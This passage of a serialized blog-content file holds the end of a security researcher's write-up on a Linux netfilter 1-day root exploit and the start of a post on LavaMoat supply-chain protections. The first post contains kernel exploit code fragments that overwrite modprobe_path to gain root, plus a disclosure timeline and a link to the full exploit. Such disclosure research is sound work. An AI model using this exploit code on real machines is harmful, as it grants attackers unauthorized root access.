mptyLinePlaceholder":17},[115252],{"type":32,"value":7817},{"type":26,"tag":217,"props":115254,"children":115255},{"class":7028,"line":7754},[115256,115260,115264,115268,115272,115276],{"type":26,"tag":217,"props":115257,"children":115258},{"style":7064},[115259],{"type":32,"value":109689},{"type":26,"tag":217,"props":115261,"children":115262},{"style":7048},[115263],{"type":32,"value":1851},{"type":26,"tag":217,"props":115265,"children":115266},{"style":7149},[115267],{"type":32,"value":9804},{"type":26,"tag":217,"props":115269,"children":115270},{"style":7048},[115271],{"type":32,"value":113828},{"type":26,"tag":217,"props":115273,"children":115274},{"style":7130},[115275],{"type":32,"value":1883},{"type":26,"tag":217,"props":115277,"children":115278},{"style":7048},[115279],{"type":32,"value":113837},{"type":26,"tag":217,"props":115281,"children":115282},{"class":7028,"line":7784},[115283,115287,115292,115296,115301,115306],{"type":26,"tag":217,"props":115284,"children":115285},{"style":7064},[115286],{"type":32,"value":110390},{"type":26,"tag":217,"props":115288,"children":115289},{"style":7048},[115290],{"type":32,"value":115291},"(fd_path, ",{"type":26,"tag":217,"props":115293,"children":115294},{"style":7154},[115295],{"type":32,"value":34717},{"type":26,"tag":217,"props":115297,"children":115298},{"style":7048},[115299],{"type":32,"value":115300},"(fd_path), ",{"type":26,"tag":217,"props":115302,"children":115303},{"style":7338},[115304],{"type":32,"value":115305},"\"/proc/%i/fd/%i\"",{"type":26,"tag":217,"props":115307,"children":115308},{"style":7048},[115309],{"type":32,"value":115310},", i, modprobe_fd);\n",{"type":26,"tag":217,"props":115312,"children":115313},{"class":7028,"line":7802},[115314],{"type":26,"tag":217,"props":115315,"children":115316},{"emptyLinePlaceholder":17},[115317],{"type":32,"value":7817},{"type":26,"tag":217,"props":115319,"children":115320},{"class":7028,"line":7811},[115321,115326,115331,115335],{"type":26,"tag":217,"props":115322,"children":115323},{"style":7064},[115324],{"type":32,"value":115325},"        lseek",{"type":26,"tag":217,"props":115327,"children":115328},{"style":7048},[115329],{"type":32,"value":115330},"(modprobe_fd, ",{"type":26,"tag":217,"props":115332,"children":115333},{"style":7130},[115334],{"type":32,"value":1883},{"type":26,"tag":217,"props":115336,"children":115337},{"style":7048},[115338],{"type":32,"value":115339},", SEEK_SET);\n",{"type":26,"tag":217,"props":115341,"children":115342},{"class":7028,"line":7820},[115343,115348],{"type":26,"tag":217,"props":115344,"children":115345},{"style":7064},[115346],{"type":32,"value":115347},"        dprintf",{"type":26,"tag":217,"props":115349,"children":115350},{"style":7048},[115351],{"type":32,"value":115352},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":26,"tag":217,"props":115354,"children":115355},{"class":7028,"line":7844},[115356],{"type":26,"tag":217,"props":115357,"children":115358},{"emptyLinePlaceholder":17},[115359],{"type":32,"value":7817},{"type":26,"tag":217,"props":115361,"children":115362},{"class":7028,"line":7910},[115363,115367,115371,115375,115379,115383,115388,115392,115397,115401,115405,115409,115413],{"type":26,"tag":217,"props":115364,"children":115365},{"style":7042},[115366],{"type":32,"value":12497},{"type":26,"tag":217,"props":115368,"children":115369},{"style":7048},[115370],{"type":32,"value":7051},{"type":26,"tag":217,"props":115372,"children":115373},{"style":7064},[115374],{"type":32,"value":115206},{"type":26,"tag":217,"props":115376,"children":115377},{"style":7048},[115378],{"type":32,"value":1851},{"type":26,"tag":217,"props":115380,"children":115381},{"style":7054},[115382],{"type":32,"value":113880},{"type":26,"tag":217,"props":115384,"children":115385},{"style":7048},[115386],{"type":32,"value":115387},"[pipe_idx][",{"type":26,"tag":217,"props":115389,"children":115390},{"style":7130},[115391],{"type":32,"value":185},{"type":26,"tag":217,"props":115393,"children":115394},{"style":7048},[115395],{"type":32,"value":115396},"], fd_path, ",{"type":26,"tag":217,"props":115398,"children":115399},{"style":7130},[115400],{"type":32,"value":31430},{"type":26,"tag":217,"props":115402,"children":115403},{"style":7048},[115404],{"type":32,"value":8380},{"type":26,"tag":217,"props":115406,"children":115407},{"style":7149},[115408],{"type":32,"value":7289},{"type":26,"tag":217,"props":115410,"children":115411},{"style":7130},[115412],{"type":32,"value":9922},{"type":26,"tag":217,"props":115414,"children":115415},{"style":7048},[115416],{"type":32,"value":10025},{"type":26,"tag":217,"props":115418,"children":115419},{"class":7028,"line":7954},[115420],{"type":26,"tag":217,"props":115421,"children":115422},{"style":7048},[115423],{"type":32,"value":61312},{"type":26,"tag":217,"props":115425,"children":115426},{"class":7028,"line":7985},[115427,115431,115435,115439,115443,115448],{"type":26,"tag":217,"props":115428,"children":115429},{"style":7064},[115430],{"type":32,"value":112957},{"type":26,"tag":217,"props":115432,"children":115433},{"style":7048},[115434],{"type":32,"value":1851},{"type":26,"tag":217,"props":115436,"children":115437},{"style":7338},[115438],{"type":32,"value":9007},{"type":26,"tag":217,"props":115440,"children":115441},{"style":8604},[115442],{"type":32,"value":8607},{"type":26,"tag":217,"props":115444,"children":115445},{"style":7338},[115446],{"type":32,"value":115447},"[-] write(pipe)\"",{"type":26,"tag":217,"props":115449,"children":115450},{"style":7048},[115451],{"type":32,"value":7669},{"type":26,"tag":217,"props":115453,"children":115454},{"class":7028,"line":8027},[115455],{"type":26,"tag":217,"props":115456,"children":115457},{"style":7048},[115458],{"type":32,"value":8722},{"type":26,"tag":217,"props":115460,"children":115461},{"class":7028,"line":8035},[115462],{"type":26,"tag":217,"props":115463,"children":115464},{"emptyLinePlaceholder":17},[115465],{"type":32,"value":7817},{"type":26,"tag":217,"props":115467,"children":115468},{"class":7028,"line":8067},[115469,115473,115477,115482],{"type":26,"tag":217,"props":115470,"children":115471},{"style":7042},[115472],{"type":32,"value":12497},{"type":26,"tag":217,"props":115474,"children":115475},{"style":7048},[115476],{"type":32,"value":7051},{"type":26,"tag":217,"props":115478,"children":115479},{"style":7064},[115480],{"type":32,"value":115481},"check_modprobe",{"type":26,"tag":217,"props":115483,"children":115484},{"style":7048},[115485],{"type":32,"value":115486},"(fd_path))\n",{"type":26,"tag":217,"props":115488,"children":115489},{"class":7028,"line":8107},[115490],{"type":26,"tag":217,"props":115491,"children":115492},{"style":7048},[115493],{"type":32,"value":61312},{"type":26,"tag":217,"props":115495,"children":115496},{"class":7028,"line":8145},[115497,115502,115506,115511],{"type":26,"tag":217,"props":115498,"children":115499},{"style":7064},[115500],{"type":32,"value":115501},"            puts",{"type":26,"tag":217,"props":115503,"children":115504},{"style":7048},[115505],{"type":32,"value":1851},{"type":26,"tag":217,"props":115507,"children":115508},{"style":7338},[115509],{"type":32,"value":115510},"\"[-] failed to overwrite modprobe\"",{"type":26,"tag":217,"props":115512,"children":115513},{"style":7048},[115514],{"type":32,"value":7669},{"type":26,"tag":217,"props":115516,"children":115517},{"class":7028,"line":8154},[115518,115522],{"type":26,"tag":217,"props":115519,"children":115520},{"style":7042},[115521],{"type":32,"value":34755},{"type":26,"tag":217,"props":115523,"children":115524},{"style":7048},[115525],{"type":32,"value":7162},{"type":26,"tag":217,"props":115527,"children":115528},{"class":7028,"line":8162},[115529],{"type":26,"tag":217,"props":115530,"children":115531},{"style":7048},[115532],{"type":32,"value":8722},{"type":26,"tag":217,"props":115534,"children":115535},{"class":7028,"line":8197},[115536],{"type":26,"tag":217,"props":115537,"children":115538},{"emptyLinePlaceholder":17},[115539],{"type":32,"value":7817},{"type":26,"tag":217,"props":115541,"children":115542},{"class":7028,"line":8220},[115543,115547,115551,115556],{"type":26,"tag":217,"props":115544,"children":115545},{"style":7042},[115546],{"type":32,"value":12497},{"type":26,"tag":217,"props":115548,"children":115549},{"style":7048},[115550],{"type":32,"value":7051},{"type":26,"tag":217,"props":115552,"children":115553},{"style":7064},[115554],{"type":32,"value":115555},"trigger_modprobe",{"type":26,"tag":217,"props":115557,"children":115558},{"style":7048},[115559],{"type":32,"value":115560},"(status_fd))\n",{"type":26,"tag":217,"props":115562,"children":115563},{"class":7028,"line":8228},[115564],{"type":26,"tag":217,"props":115565,"children":115566},{"style":7048},[115567],{"type":32,"value":61312},{"type":26,"tag":217,"props":115569,"children":115570},{"class":7028,"line":8292},[115571,115575,115579,115583,115587,115592],{"type":26,"tag":217,"props":115572,"children":115573},{"style":7064},[115574],{"type":32,"value":115501},{"type":26,"tag":217,"props":115576,"children":115577},{"style":7048},[115578],{"type":32,"value":1851},{"type":26,"tag":217,"props":115580,"children":115581},{"style":7338},[115582],{"type":32,"value":9007},{"type":26,"tag":217,"props":115584,"children":115585},{"style":8604},[115586],{"type":32,"value":8607},{"type":26,"tag":217,"props":115588,"children":115589},{"style":7338},[115590],{"type":32,"value":115591},"[+] got root\"",{"type":26,"tag":217,"props":115593,"children":115594},{"style":7048},[115595],{"type":32,"value":7669},{"type":26,"tag":217,"props":115597,"children":115598},{"class":7028,"line":8351},[115599,115603],{"type":26,"tag":217,"props":115600,"children":115601},{"style":7042},[115602],{"type":32,"value":40931},{"type":26,"tag":217,"props":115604,"children":115605},{"style":7048},[115606],{"type":32,"value":40936},{"type":26,"tag":217,"props":115608,"children":115609},{"class":7028,"line":8391},[115610],{"type":26,"tag":217,"props":115611,"children":115612},{"style":7048},[115613],{"type":32,"value":8722},{"type":26,"tag":217,"props":115615,"children":115616},{"class":7028,"line":8439},[115617],{"type":26,"tag":217,"props":115618,"children":115619},{"emptyLinePlaceholder":17},[115620],{"type":32,"value":7817},{"type":26,"tag":217,"props":115622,"children":115623},{"class":7028,"line":8448},[115624,115628,115632,115636,115640,115644,115648,115652,115656,115661,115665],{"type":26,"tag":217,"props":115625,"children":115626},{"style":7042},[115627],{"type":32,"value":13176},{"type":26,"tag":217,"props":115629,"children":115630},{"style":7048},[115631],{"type":32,"value":7051},{"type":26,"tag":217,"props":115633,"children":115634},{"style":7154},[115635],{"type":32,"value":9619},{"type":26,"tag":217,"props":115637,"children":115638},{"style":7048},[115639],{"type":32,"value":11221},{"type":26,"tag":217,"props":115641,"children":115642},{"style":7149},[115643],{"type":32,"value":267},{"type":26,"tag":217,"props":115645,"children":115646},{"style":7130},[115647],{"type":32,"value":9922},{"type":26,"tag":217,"props":115649,"children":115650},{"style":7048},[115651],{"type":32,"value":11068},{"type":26,"tag":217,"props":115653,"children":115654},{"style":7149},[115655],{"type":32,"value":7289},{"type":26,"tag":217,"props":115657,"children":115658},{"style":7048},[115659],{"type":32,"value":115660}," SKBUF_SPRAY; i",{"type":26,"tag":217,"props":115662,"children":115663},{"style":7149},[115664],{"type":32,"value":11082},{"type":26,"tag":217,"props":115666,"children":115667},{"style":7048},[115668],{"type":32,"value":10025},{"type":26,"tag":217,"props":115670,"children":115671},{"class":7028,"line":8456},[115672],{"type":26,"tag":217,"props":115673,"children":115674},{"style":7048},[115675],{"type":32,"value":61312},{"type":26,"tag":217,"props":115677,"children":115678},{"class":7028,"line":8500},[115679,115683,115687,115691,115695,115700,115704,115708,115713,115717,115721,115726,115730,115734,115738],{"type":26,"tag":217,"props":115680,"children":115681},{"style":7042},[115682],{"type":32,"value":59922},{"type":26,"tag":217,"props":115684,"children":115685},{"style":7048},[115686],{"type":32,"value":7051},{"type":26,"tag":217,"props":115688,"children":115689},{"style":7064},[115690],{"type":32,"value":97922},{"type":26,"tag":217,"props":115692,"children":115693},{"style":7048},[115694],{"type":32,"value":1851},{"type":26,"tag":217,"props":115696,"children":115697},{"style":7054},[115698],{"type":32,"value":115699},"sock",{"type":26,"tag":217,"props":115701,"children":115702},{"style":7048},[115703],{"type":32,"value":11100},{"type":26,"tag":217,"props":115705,"children":115706},{"style":7130},[115707],{"type":32,"value":185},{"type":26,"tag":217,"props":115709,"children":115710},{"style":7048},[115711],{"type":32,"value":115712},"], leak, ",{"type":26,"tag":217,"props":115714,"children":115715},{"style":7130},[115716],{"type":32,"value":14326},{"type":26,"tag":217,"props":115718,"children":115719},{"style":7149},[115720],{"type":32,"value":12618},{"type":26,"tag":217,"props":115722,"children":115723},{"style":7130},[115724],{"type":32,"value":115725}," 320",{"type":26,"tag":217,"props":115727,"children":115728},{"style":7048},[115729],{"type":32,"value":8380},{"type":26,"tag":217,"props":115731,"children":115732},{"style":7149},[115733],{"type":32,"value":7289},{"type":26,"tag":217,"props":115735,"children":115736},{"style":7130},[115737],{"type":32,"value":9922},{"type":26,"tag":217,"props":115739,"children":115740},{"style":7048},[115741],{"type":32,"value":10025},{"type":26,"tag":217,"props":115743,"children":115744},{"class":7028,"line":8535},[115745],{"type":26,"tag":217,"props":115746,"children":115747},{"style":7048},[115748],{"type":32,"value":61436},{"type":26,"tag":217,"props":115750,"children":115751},{"class":7028,"line":8664},[115752,115757,115761,115766],{"type":26,"tag":217,"props":115753,"children":115754},{"style":7064},[115755],{"type":32,"value":115756},"                perror",{"type":26,"tag":217,"props":115758,"children":115759},{"style":7048},[115760],{"type":32,"value":1851},{"type":26,"tag":217,"props":115762,"children":115763},{"style":7338},[115764],{"type":32,"value":115765},"\"[-] read(socket)\"",{"type":26,"tag":217,"props":115767,"children":115768},{"style":7048},[115769],{"type":32,"value":7669},{"type":26,"tag":217,"props":115771,"children":115772},{"class":7028,"line":8700},[115773,115777,115781,115785],{"type":26,"tag":217,"props":115774,"children":115775},{"style":7042},[115776],{"type":32,"value":81520},{"type":26,"tag":217,"props":115778,"children":115779},{"style":7149},[115780],{"type":32,"value":12618},{"type":26,"tag":217,"props":115782,"children":115783},{"style":7130},[115784],{"type":32,"value":185},{"type":26,"tag":217,"props":115786,"children":115787},{"style":7048},[115788],{"type":32,"value":7162},{"type":26,"tag":217,"props":115790,"children":115791},{"class":7028,"line":8708},[115792],{"type":26,"tag":217,"props":115793,"children":115794},{"style":7048},[115795],{"type":32,"value":36205},{"type":26,"tag":217,"props":115797,"children":115798},{"class":7028,"line":8716},[115799],{"type":26,"tag":217,"props":115800,"children":115801},{"style":7048},[115802],{"type":32,"value":8722},{"type":26,"tag":217,"props":115804,"children":115805},{"class":7028,"line":8725},[115806],{"type":26,"tag":217,"props":115807,"children":115808},{"style":7048},[115809],{"type":32,"value":9754},{"type":26,"tag":217,"props":115811,"children":115812},{"class":7028,"line":8738},[115813,115817,115821,115826],{"type":26,"tag":217,"props":115814,"children":115815},{"style":7064},[115816],{"type":32,"value":110577},{"type":26,"tag":217,"props":115818,"children":115819},{"style":7048},[115820],{"type":32,"value":1851},{"type":26,"tag":217,"props":115822,"children":115823},{"style":7338},[115824],{"type":32,"value":115825},"\"[-] fake modprobe failed\"",{"type":26,"tag":217,"props":115827,"children":115828},{"style":7048},[115829],{"type":32,"value":7669},{"type":26,"tag":217,"props":115831,"children":115832},{"class":7028,"line":8755},[115833],{"type":26,"tag":217,"props":115834,"children":115835},{"style":7048},[115836],{"type":32,"value":59466},{"type":26,"tag":39,"props":115838,"children":115839},{},[115840,115842,115849],{"type":32,"value":115841},"This trick has already been throughly detailed by ",{"type":26,"tag":163,"props":115843,"children":115846},{"href":115844,"rel":115845},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[167],[115847],{"type":32,"value":115848},"lau",{"type":32,"value":115850},", so we won't go much more into it.",{"type":26,"tag":607,"props":115852,"children":115854},{"id":115853},"universal-exploit-demo",[115855],{"type":32,"value":115856},"Universal exploit demo",{"type":26,"tag":39,"props":115858,"children":115859},{},[115860,115862,115868],{"type":32,"value":115861},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":26,"tag":163,"props":115863,"children":115866},{"href":115864,"rel":115865},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[167],[115867],{"type":32,"value":112476},{"type":32,"value":180},{"type":26,"tag":27,"props":115870,"children":115871},{"id":24012},[115872],{"type":32,"value":115873},"Disclosure Timeline",{"type":26,"tag":2040,"props":115875,"children":115876},{},[115877,115882,115887,115892,115897],{"type":26,"tag":2044,"props":115878,"children":115879},{},[115880],{"type":32,"value":115881},"March 21st -- Patch made public",{"type":26,"tag":2044,"props":115883,"children":115884},{},[115885],{"type":32,"value":115886},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":26,"tag":2044,"props":115888,"children":115889},{},[115890],{"type":32,"value":115891},"March 24th -- Wrote KernelCTF exploit",{"type":26,"tag":2044,"props":115893,"children":115894},{},[115895],{"type":32,"value":115896},"March 26th -- Wrote Universal exploit",{"type":26,"tag":2044,"props":115898,"children":115899},{},[115900],{"type":32,"value":115901},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":26,"tag":39,"props":115903,"children":115904},{},[115905],{"type":32,"value":115906},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":26,"tag":27,"props":115908,"children":115909},{"id":9272},[115910],{"type":32,"value":9275},{"type":26,"tag":39,"props":115912,"children":115913},{},[115914],{"type":32,"value":115915},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":26,"tag":39,"props":115917,"children":115918},{},[115919],{"type":32,"value":115920},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":26,"tag":9282,"props":115922,"children":115923},{},[115924],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":115926},[115927,115930,115933,115936,115937,115947,115955,115956],{"id":105657,"depth":6770,"text":105660,"children":115928},[115929],{"id":105677,"depth":6779,"text":105680},{"id":105720,"depth":6770,"text":105720,"children":115931},[115932],{"id":105767,"depth":6779,"text":105770},{"id":105825,"depth":6770,"text":105828,"children":115934},[115935],{"id":106978,"depth":6779,"text":106981},{"id":108848,"depth":6770,"text":108851},{"id":109250,"depth":6770,"text":109253,"children":115938},[115939,115940,115941,115943,115944,115945,115946],{"id":109277,"depth":6779,"text":109280},{"id":110156,"depth":6779,"text":110159},{"id":110739,"depth":6779,"text":115942},"Leaking self pointer of nft_object",{"id":111133,"depth":6779,"text":111136},{"id":111645,"depth":6779,"text":111648},{"id":111775,"depth":6779,"text":111434},{"id":112457,"depth":6779,"text":112460},{"id":112480,"depth":6770,"text":112483,"children":115948},[115949,115950,115951,115952,115954],{"id":112491,"depth":6779,"text":112494},{"id":113345,"depth":6779,"text":113348},{"id":113420,"depth":6779,"text":113423},{"id":115042,"depth":6779,"text":115953},"Overwriting modprobe_path",{"id":115853,"depth":6779,"text":115856},{"id":24012,"depth":6770,"text":115873},{"id":9272,"depth":6770,"text":9275},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":115961,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":115962,"description":115963,"author":115964,"image":115965,"date":115967,"isFeatured":17,"onBlogPage":17,"body":115968,"_type":6799,"_id":119444,"_source":6801,"_file":119445,"_stem":119446,"_extension":6804},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[6811,6812],{"src":115966},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":23,"children":115969,"toc":119423},[115970,115976,115997,116002,116006,116011,116050,116056,116071,116089,116094,116099,116104,116117,116427,116455,116468,116473,116478,116492,116497,116510,116523,116756,116777,116812,116818,116823,116828,117041,117062,117068,117081,117173,117195,117231,117239,117257,117505,117531,117537,117551,117750,117769,118172,118185,118191,118210,118302,118307,118313,118326,118339,118425,118431,118444,118528,118540,118553,118559,118564,118578,118904,118909,118914,118920,118946,118999,119019,119072,119078,119083,119101,119112,119308,119314,119337,119343,119348,119361,119366,119371,119375,119380,119389,119419],{"type":26,"tag":27,"props":115971,"children":115973},{"id":115972},"overview",[115974],{"type":32,"value":115975},"Overview",{"type":26,"tag":39,"props":115977,"children":115978},{},[115979,115986,115988,115995],{"type":26,"tag":163,"props":115980,"children":115983},{"href":115981,"rel":115982},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[167],[115984],{"type":32,"value":115985},"Supply chain",{"type":32,"value":115987}," attacks are becoming ",{"type":26,"tag":163,"props":115989,"children":115992},{"href":115990,"rel":115991},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[167],[115993],{"type":32,"value":115994},"increasingly popular in Web3",{"type":32,"value":115996},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":26,"tag":39,"props":115998,"children":115999},{},[116000],{"type":32,"value":116001},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":26,"tag":607,"props":116003,"children":116004},{"id":24419},[116005],{"type":32,"value":24422},{"type":26,"tag":39,"props":116007,"children":116008},{},[116009],{"type":32,"value":116010},"It is important to note that there are three different versions of LavaMoat:",{"type":26,"tag":6712,"props":116012,"children":116013},{},[116014,116026,116038],{"type":26,"tag":2044,"props":116015,"children":116016},{},[116017,116024],{"type":26,"tag":163,"props":116018,"children":116021},{"href":116019,"rel":116020},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[167],[116022],{"type":32,"value":116023},"Lavamoat Browserify",{"type":32,"value":116025}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":26,"tag":2044,"props":116027,"children":116028},{},[116029,116036],{"type":26,"tag":163,"props":116030,"children":116033},{"href":116031,"rel":116032},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[167],[116034],{"type":32,"value":116035},"NodeJS Lavamoat",{"type":32,"value":116037}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":26,"tag":2044,"props":116039,"children":116040},{},[116041,116048],{"type":26,"tag":163,"props":116042,"children":116045},{"href":116043,"rel":116044},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[167],[116046],{"type":32,"value":116047},"Lavamoat allow-scripts",{"type":32,"value":116049}," are used to prevent malicious code execution on lifecycle scripts.",{"type":26,"tag":607,"props":116051,"children":116053},{"id":116052},"lavamoats-security-features",[116054],{"type":32,"value":116055},"Lavamoat's Security Features",{"type":26,"tag":39,"props":116057,"children":116058},{},[116059,116061,116069],{"type":32,"value":116060},"The three most important features of Lavamoat",{"type":26,"tag":98386,"props":116062,"children":116063},{},[116064],{"type":26,"tag":163,"props":116065,"children":116067},{"href":98391,"ariaDescribedBy":116066,"dataFootnoteRef":8,"id":98394},[98393],[116068],{"type":32,"value":185},{"type":32,"value":116070}," are:",{"type":26,"tag":2040,"props":116072,"children":116073},{},[116074,116079,116084],{"type":26,"tag":2044,"props":116075,"children":116076},{},[116077],{"type":32,"value":116078},"Policy Files",{"type":26,"tag":2044,"props":116080,"children":116081},{},[116082],{"type":32,"value":116083},"NPM Anti Hijacking",{"type":26,"tag":2044,"props":116085,"children":116086},{},[116087],{"type":32,"value":116088},"Scuttling",{"type":26,"tag":39,"props":116090,"children":116091},{},[116092],{"type":32,"value":116093},"Let's go over them one by one.",{"type":26,"tag":631,"props":116095,"children":116097},{"id":116096},"policy-files",[116098],{"type":32,"value":116078},{"type":26,"tag":39,"props":116100,"children":116101},{},[116102],{"type":32,"value":116103},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":26,"tag":39,"props":116105,"children":116106},{},[116107,116109,116116],{"type":32,"value":116108},"For example, take the ",{"type":26,"tag":163,"props":116110,"children":116113},{"href":116111,"rel":116112},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[167],[116114],{"type":32,"value":116115},"Metamask Snap policy file",{"type":32,"value":1473},{"type":26,"tag":207,"props":116118,"children":116120},{"className":24581,"code":116119,"language":24580,"meta":8,"style":8},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[116121],{"type":26,"tag":83,"props":116122,"children":116123},{"__ignoreMap":8},[116124,116136,116151,116171,116191,116211,116231,116251,116271,116291,116312,116332,116352,116369,116376,116391,116411],{"type":26,"tag":217,"props":116125,"children":116126},{"class":7028,"line":7029},[116127,116132],{"type":26,"tag":217,"props":116128,"children":116129},{"style":7338},[116130],{"type":32,"value":116131},"   \"@metamask/providers\"",{"type":26,"tag":217,"props":116133,"children":116134},{"style":7048},[116135],{"type":32,"value":15894},{"type":26,"tag":217,"props":116137,"children":116138},{"class":7028,"line":6770},[116139,116143,116147],{"type":26,"tag":217,"props":116140,"children":116141},{"style":7338},[116142],{"type":32,"value":68706},{"type":26,"tag":217,"props":116144,"children":116145},{"style":7054},[116146],{"type":32,"value":1473},{"type":26,"tag":217,"props":116148,"children":116149},{"style":7048},[116150],{"type":32,"value":8064},{"type":26,"tag":217,"props":116152,"children":116153},{"class":7028,"line":6779},[116154,116159,116163,116167],{"type":26,"tag":217,"props":116155,"children":116156},{"style":7338},[116157],{"type":32,"value":116158},"        \"Event\"",{"type":26,"tag":217,"props":116160,"children":116161},{"style":7054},[116162],{"type":32,"value":1473},{"type":26,"tag":217,"props":116164,"children":116165},{"style":7154},[116166],{"type":32,"value":7902},{"type":26,"tag":217,"props":116168,"children":116169},{"style":7048},[116170],{"type":32,"value":10953},{"type":26,"tag":217,"props":116172,"children":116173},{"class":7028,"line":7140},[116174,116179,116183,116187],{"type":26,"tag":217,"props":116175,"children":116176},{"style":7338},[116177],{"type":32,"value":116178},"        \"addEventListener\"",{"type":26,"tag":217,"props":116180,"children":116181},{"style":7054},[116182],{"type":32,"value":1473},{"type":26,"tag":217,"props":116184,"children":116185},{"style":7154},[116186],{"type":32,"value":7902},{"type":26,"tag":217,"props":116188,"children":116189},{"style":7048},[116190],{"type":32,"value":10953},{"type":26,"tag":217,"props":116192,"children":116193},{"class":7028,"line":7165},[116194,116199,116203,116207],{"type":26,"tag":217,"props":116195,"children":116196},{"style":7338},[116197],{"type":32,"value":116198},"        \"chrome.runtime.connect\"",{"type":26,"tag":217,"props":116200,"children":116201},{"style":7054},[116202],{"type":32,"value":1473},{"type":26,"tag":217,"props":116204,"children":116205},{"style":7154},[116206],{"type":32,"value":7902},{"type":26,"tag":217,"props":116208,"children":116209},{"style":7048},[116210],{"type":32,"value":10953},{"type":26,"tag":217,"props":116212,"children":116213},{"class":7028,"line":7178},[116214,116219,116223,116227],{"type":26,"tag":217,"props":116215,"children":116216},{"style":7338},[116217],{"type":32,"value":116218},"        \"console\"",{"type":26,"tag":217,"props":116220,"children":116221},{"style":7054},[116222],{"type":32,"value":1473},{"type":26,"tag":217,"props":116224,"children":116225},{"style":7154},[116226],{"type":32,"value":7902},{"type":26,"tag":217,"props":116228,"children":116229},{"style":7048},[116230],{"type":32,"value":10953},{"type":26,"tag":217,"props":116232,"children":116233},{"class":7028,"line":7389},[116234,116239,116243,116247],{"type":26,"tag":217,"props":116235,"children":116236},{"style":7338},[116237],{"type":32,"value":116238},"        \"dispatchEvent\"",{"type":26,"tag":217,"props":116240,"children":116241},{"style":7054},[116242],{"type":32,"value":1473},{"type":26,"tag":217,"props":116244,"children":116245},{"style":7154},[116246],{"type":32,"value":7902},{"type":26,"tag":217,"props":116248,"children":116249},{"style":7048},[116250],{"type":32,"value":10953},{"type":26,"tag":217,"props":116252,"children":116253},{"class":7028,"line":7406},[116254,116259,116263,116267],{"type":26,"tag":217,"props":116255,"children":116256},{"style":7338},[116257],{"type":32,"value":116258},"        \"document.createElement\"",{"type":26,"tag":217,"props":116260,"children":116261},{"style":7054},[116262],{"type":32,"value":1473},{"type":26,"tag":217,"props":116264,"children":116265},{"style":7154},[116266],{"type":32,"value":7902},{"type":26,"tag":217,"props":116268,"children":116269},{"style":7048},[116270],{"type":32,"value":10953},{"type":26,"tag":217,"props":116272,"children":116273},{"class":7028,"line":7439},[116274,116279,116283,116287],{"type":26,"tag":217,"props":116275,"children":116276},{"style":7338},[116277],{"type":32,"value":116278},"        \"document.readyState\"",{"type":26,"tag":217,"props":116280,"children":116281},{"style":7054},[116282],{"type":32,"value":1473},{"type":26,"tag":217,"props":116284,"children":116285},{"style":7154},[116286],{"type":32,"value":7902},{"type":26,"tag":217,"props":116288,"children":116289},{"style":7048},[116290],{"type":32,"value":10953},{"type":26,"tag":217,"props":116292,"children":116293},{"class":7028,"line":7487},[116294,116299,116303,116308],{"type":26,"tag":217,"props":116295,"children":116296},{"style":7338},[116297],{"type":32,"value":116298},"        \"ethereum\"",{"type":26,"tag":217,"props":116300,"children":116301},{"style":7054},[116302],{"type":32,"value":1473},{"type":26,"tag":217,"props":116304,"children":116305},{"style":7338},[116306],{"type":32,"value":116307}," \"write\"",{"type":26,"tag":217,"props":116309,"children":116310},{"style":7048},[116311],{"type":32,"value":10953},{"type":26,"tag":217,"props":116313,"children":116314},{"class":7028,"line":7524},[116315,116320,116324,116328],{"type":26,"tag":217,"props":116316,"children":116317},{"style":7338},[116318],{"type":32,"value":116319},"        